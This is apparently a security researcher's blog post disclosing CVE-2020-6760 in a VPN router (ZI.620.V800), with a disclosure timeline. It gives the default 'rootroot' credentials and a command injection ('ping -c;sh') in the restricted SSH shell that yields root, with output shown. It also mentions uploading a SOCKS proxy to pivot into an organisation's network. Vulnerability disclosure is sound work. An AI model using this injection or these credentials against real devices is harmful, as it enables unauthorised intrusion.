

India 2,650
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TOP SERVICES

HTTP 2,367
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9998 1 Self-signed

NAS Web Interfaces 1

The default username and password of this router model was rootroot (surprise!). After login into the administrator page we found a set of utilities to perform network analysis; ping, traceroute, no news for us. Commonly we can find out command injections vulnerabilities in those web applications, but in this ocassion the input was sanitized.

We can enable telnet and ssh login in this devices in "settings", but when you login to the router, via ssh in this ocassion, the terminal show you a restricted environment with the same options that we found in the web application.

```
Welcome to VPN Router Configuration Tool
VPN#help
Unknown command help
VPN#?
config configure system
status show system status
show show system information
utility utility tools
reboot reboot system
quit logout
VPN#utility
VPN/utility#?
admin configure users
upgrade upgrade firmware
configtools configure tools
ping ping tool
traceroute traceroute tool
exit exit
```

This time, logged into the ssh restricted application, the command injection works appending ";" to the option selected. That was so easy.

```
VPN/utility#?

admin configure users

upgrade upgrade firmware

configtools configure tools

ping ping tool

traceroute traceroute tool

exit exit

VPN/utility#ping -c;sh

BusyBox v1.1.3 (2010.04.20-03:15+0000) multi-call binary

Usage: ping [OPTION]... host

Send ICMP ECHO_REQUEST packets to network hosts.

Options:

-c COUNT Send only COUNT pings

-s SIZE Send SIZE data bytes in packets (default=56)

-q Quiet mode, only displays output at start

and when finished

# id

uid=0(root) gid=0(root)

# □
```

After that we uploaded a "powerpc" socks4a server coded by @_dreadlocked to the router to pivot into the organization. Thanks @_dreadlocked for your work!

And that's all, thanks for reading.

Affected version (others may be affected):

System Information

Model Name	ZI.620.V800
Hardware MCSV	
Software MCSV	
Software Version	090

Disclosure timeline:

- 10/12/2019 Vendor notified. No response.
- 07/01/2020 Vendor notified. No response.
- 09/01/2020 CVE-2020-6760 asigned.
- 06/02/2020 Blog post.